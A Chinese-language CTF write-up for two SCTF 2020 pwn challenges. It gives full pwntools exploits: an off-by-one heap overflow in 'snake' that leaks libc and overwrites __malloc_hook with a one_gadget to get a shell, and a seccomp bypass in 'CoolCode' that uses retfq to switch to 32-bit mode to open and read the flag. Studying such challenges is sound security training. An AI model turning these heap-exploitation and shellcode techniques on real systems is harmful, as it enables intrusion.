目录

SCTF-WP

君子色而不淫,发乎情,止乎礼。 ——《诗经》

snake

题目漏洞很简单,如果蛇死亡后的坐标在最右下角的话,那么死后留下的message将会有一个off by one漏洞,有了这个漏洞就不多说了,后面就都是套路了。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
from pwn import *
if args['REMOTE']:
	sh=remote('39.107.244.116',9999)
else:
	sh=process('./snake')

if args['I386']:
	context.arch='i386'
else:
	context.arch='amd64'

if args['DEBUG']:
	context.log_level='debug'
s      = lambda data               :sh.send(data) 
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
sea     = lambda delim,data         :sh.sendafter(delim, data)
r      = lambda numb=4096          :sh.recv(numb)
ru      = lambda delims, drop=True  :sh.recvuntil(delims, drop)
info_addr = lambda tag, addr        :sh.info(tag +': {:#x}'.format(addr))
itr     = lambda                    :sh.interactive()
gdba	= lambda command=''			:gdb.attach(sh,command)

def choice(elect):
	sh.recvuntil('4.start name')
	sh.sendline(str(elect))

def add(index,size,content):
	choice(1)
	sh.recvuntil('?')
	sh.sendline(str(index))
	ru('?')
	sl(str(size))
	ru('?')
	sl(content)

def get(index):
	choice(3)
	sh.recvuntil('?')
	sh.sendline(str(index))

def delete(index):
	choice(2)
	sh.recvuntil('?')
	sh.sendline(str(index))

def start():
	choice(4)

def down_to_end():
	for i in range(35):
		sl('')

def leave_words(words):
	ru('words:')
	if len(words)==0x4d:
		s(words)
	else:
		sl(words)
	ru('?')
	sl('n')
libc=ELF('../libc-2.23.so')
#begin
ru('?')
sl(str(0x30))
ru('name')
sl('a')
sl('')
down_to_end()
leave_words('a')
add(1,0x60,'a')
add(2,0x10,'b')
start()
down_to_end()
#overflow
leave_words('a'*0x4c+'\xb1')
delete(0)
add(0,0x10,'')
get(0)
start()
ru('name: ')
libc_base=u64(ru(' ').replace(' ','').ljust(8,'\x00'))-0x3c4c0a
info_addr('libc',libc_base)
malloc_hook=libc_base+libc.symbols['__malloc_hook']
realloc=libc_base+libc.symbols['realloc']
gadget=[0x45216,0x4526a,0xf02a4,0xf1147] #3,5,7
onegadget=libc_base+gadget[3]
system=libc_base+libc.symbols['system']
free_hook=libc_base+libc.symbols['__free_hook']
setcontext=libc_base+libc.symbols['setcontext']
mprotect=libc_base+libc.symbols['mprotect']
info_addr('malloc_hook',malloc_hook)
info_addr('realloc',realloc)
info_addr('onegadget',onegadget)
info_addr('system',system)
info_addr('free_hook',free_hook)
info_addr('setcontext',setcontext)
down_to_end()
leave_words('a')
#get shell
delete(1)
add(1,0x40,p64(0)*3+p64(0x71)+p64(malloc_hook-0x23))
add(2,0x60,p64(0x604b70))
add(3,0x60,'\x00'*0xb+p64(onegadget)+p64(onegadget))
sh.interactive()

CoolCode

这是一道考察shellcode编写的题目,刚好自己在这一部分比较薄弱,比赛中没有做出来,那么赛后就用这道题来学习一下shellcode编写方面的知识。

CTF中shellcode的编写最简单的就是没有限制任何系统调用,因此可以直接使用execve()来获得shell。

难一点的题目,会禁止execve()的调用,这个时候就可以通过ORW来获得flag。

更难一点的题目会对输入字符限制,比如限定在可打印字符范围内,再折磨人一点的话,会将其限定在字母和数字之中。而这个时候编写shellcode就需要很多技巧了,比如syscall不能使用,我们可以利用xor sub and inc dec这些运算操作动态的修改我们的shellcode。

最难的是什么呢,就是既限定了输入字符的范围,还禁止掉了open系统调用,这个时候我们常规的orw就无法使用了,这道题目就属于这个类型。

我们用seccomp查看一下可以使用哪些syscall。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x15 0x04 0x00 0x00000001  if (A == write) goto 0006
 0002: 0x15 0x03 0x00 0x00000000  if (A == read) goto 0006
 0003: 0x15 0x02 0x00 0x00000009  if (A == mmap) goto 0006
 0004: 0x15 0x01 0x00 0x00000005  if (A == fstat) goto 0006
 0005: 0x06 0x00 0x00 0x00050005  return ERRNO(5)
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x06 0x00 0x00 0x00000000  return KILL

可以看到open函数没有在允许的调用中,其中出现了一个奇怪的调用函数,fstat,这个究竟有什么用呢?如果比较一下64位下的fstat和32位下的open,你会发现他们俩的系统调用号是一样的。如果我们可以转换到32位,那不就可以使用open函数了吗?如何从64位转换到32位呢?这里就需要用到一条汇编指令retqf。程序究竟是64位还是32位是看cs寄存器的值,如果cs寄存器的值是0x23那么就是32位,如果是0x33,那么就是64位。retqf语句等于ret ;pop cs;所以其会将[rsp+8]处的值赋值给cs。因此我们就可以利用这条语句来修改程序的位数。

这道题因为可以将exit函数修改为ret,所以可以bypass掉字符限制。如果不修改exit的话,那么就需要用mmap来分配一个在字符限制内的地址。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#Author: Nopnoping
from pwn import *

s      = lambda data               :sh.send(data) 
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
sea     = lambda delim,data         :sh.sendafter(delim, data)
r      = lambda numb=4096          :sh.recv(numb)
ru      = lambda delims, drop=True  :sh.recvuntil(delims, drop)
info_addr = lambda tag, addr        :sh.info(tag +': {:#x}'.format(addr))
itr     = lambda                    :sh.interactive()
debug	= lambda command=''			:gdb.attach(sh,command)

if args['REMOTE']:
	sh=remote()
else:
	sh=process('./CoolCode')

# if args['I386']:
# 	context.arch='i386'
# else:
# 	context.arch='amd64'

if args['DEBUG']:
	context.log_level='debug'
context.os='linux'
def choice(elect):
	ru(':')
	sl(str(elect))

def add(index,message):
	choice(1)
	ru(':')
	sl(str(index))
	ru(':')
	s(message)

def show(index):
	choice(2)
	ru(':')
	sl(str(index))

def delete(index):
	choice(3)
	ru(':')
	sl(str(index))
#debug('b*0x0000000000400850\nc')
bss=0x602200	
add(-22,'\xc3')
read='''
xor eax,eax
xor edi,edi
mov rsi,0x01010101
xor rsi,0x1612301
push 0x01010101
pop rdx
syscall
mov rsp,rsi
retfq
'''
print len(asm(read,arch='amd64'))
open_flag='''
mov esp,0x602300
push 0x6761
push 0x6c662f2e
mov eax,5
mov ebx,esp
xor ecx,ecx
int 0x80
'''
read_write='''
push 0x33
push 0x602233
retfq
mov rdi,3
mov rsi,rsp
mov rdx,0x100
xor rax,rax
syscall 

mov rdi,1
mov rax,1
syscall
'''
add(-37,asm(read,arch='amd64'))
delete(0)
s(p64(0x602210)+p64(0x23)+asm(open_flag,arch='i386')+asm(read_write,arch='amd64'))
itr()

reference

shellcode 的艺术

SCTF 2020 PWN